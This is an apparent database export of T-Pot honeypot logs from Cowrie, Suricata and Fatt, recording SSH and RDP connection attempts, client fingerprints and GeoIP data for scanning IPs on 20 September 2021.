36488	218.92.0.190	109.199.241.180	Fatt	2021-09-20 15:15:07.831193+03	2021-09-20 15:30:02.325869+03	{"_id": "FwYhA3wBvYTbRNuEomOt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 26967, "dest_port": 22, "timestamp": "2021-09-20T12:15:07.831193", "@timestamp": "2021-09-20T12:15:07.831Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36489	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:15:08.414825+03	2021-09-20 15:30:02.327867+03	{"_id": "IAYhA3wBvYTbRNuEpWNN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:15:07.655161+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 163185056022329, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 55571, "dest_port": 3389, "timestamp": "2021-09-20T12:15:08.414825Z", "@timestamp": "2021-09-20T12:15:08.414Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36490	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 15:15:09.553868+03	2021-09-20 15:30:02.328868+03	{"_id": "IwYhA3wBvYTbRNuEqGMn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.231.219.157:49682 (192.168.176.2:22) [session: 3e9e6ccc8c64]", "session": "3e9e6ccc8c64", "@version": "1", "protocol": "ssh", "src_port": 49682, "dest_port": 22, "timestamp": "2021-09-20T12:15:09.553868Z", "@timestamp": "2021-09-20T12:15:09.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	RU
36491	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 15:15:09.556628+03	2021-09-20 15:30:02.329868+03	{"_id": "JAYhA3wBvYTbRNuEqGMn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3e9e6ccc8c64", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:15:09.556628Z", "@timestamp": "2021-09-20T12:15:09.556Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	RU
36492	91.231.219.157	109.199.241.180	Suricata	2021-09-20 15:15:09.658993+03	2021-09-20 15:30:02.330868+03	{"_id": "KAYhA3wBvYTbRNuEqWM2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:15:09.449282+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1515275120663298, "payload": "AAADzAYUOgK4RBmu6922SCSQbAZQAgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49682, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:15:09.658993Z", "@timestamp": "2021-09-20T12:15:09.658Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......:..D.....H$.l.P....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	RU
36493	91.231.219.157	109.199.241.180	Fatt	2021-09-20 15:15:09.658993+03	2021-09-20 15:30:02.332869+03	{"_id": "KQYhA3wBvYTbRNuEqmM1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49682, "dest_port": 22, "timestamp": "2021-09-20T12:15:09.658993", "@timestamp": "2021-09-20T12:15:09.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	RU
36495	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 15:15:10.750151+03	2021-09-20 15:30:02.335868+03	{"_id": "MgYhA3wBvYTbRNuErGMQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "dd36e02ec383", "@version": "1", "duration": 3.4719090461730957, "timestamp": "2021-09-20T12:15:10.750151Z", "@timestamp": "2021-09-20T12:15:10.750Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36496	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 15:15:11.283036+03	2021-09-20 15:30:02.337867+03	{"_id": "MwYhA3wBvYTbRNuEr2P3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "3e9e6ccc8c64", "@version": "1", "duration": 1.7267074584960938, "timestamp": "2021-09-20T12:15:11.283036Z", "@timestamp": "2021-09-20T12:15:11.283Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	RU
36497	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:15:28.528078+03	2021-09-20 15:30:02.338868+03	{"_id": "XwYhA3wBvYTbRNuE8mNp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e87898b24143", "@version": "1", "timestamp": "2021-09-20T12:15:28.528078Z", "@timestamp": "2021-09-20T12:15:28.528Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36498	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:15:28.244471+03	2021-09-20 15:30:02.340868+03	{"_id": "YAYhA3wBvYTbRNuE8mNq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.87.161.152:2327 (192.168.176.2:22) [session: e87898b24143]", "session": "e87898b24143", "@version": "1", "protocol": "ssh", "src_port": 2327, "dest_port": 22, "timestamp": "2021-09-20T12:15:28.244471Z", "@timestamp": "2021-09-20T12:15:28.244Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36499	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:15:28.527345+03	2021-09-20 15:30:02.341867+03	{"_id": "YQYhA3wBvYTbRNuE82N1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "flow_id": 302687742569783, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2327, "dest_port": 22, "timestamp": "2021-09-20T12:15:28.527345Z", "@timestamp": "2021-09-20T12:15:28.527Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36522	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:15:13.10089+03	2021-09-20 15:30:02.376867+03	{"_id": "NgYhA3wBvYTbRNuEt2PK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "0b8168e58ef0", "@version": "1", "duration": 5.531527996063232, "timestamp": "2021-09-20T12:15:13.100890Z", "@timestamp": "2021-09-20T12:15:13.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36500	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:15:28.248824+03	2021-09-20 15:30:02.342868+03	{"_id": "YgYhA3wBvYTbRNuE9GN3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.87.161.152", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2327, "timestamp": "2021-09-20T12:15:28.248824", "@timestamp": "2021-09-20T12:15:28.248Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36501	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 15:15:30.349171+03	2021-09-20 15:30:02.344868+03	{"_id": "bAYhA3wBvYTbRNuE-mM6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.38.38.3634434109.199.241.180'", "session": "9295fd6eb19e", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.38.38.3634434109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T12:15:30.349171Z", "@timestamp": "2021-09-20T12:15:30.349Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	US
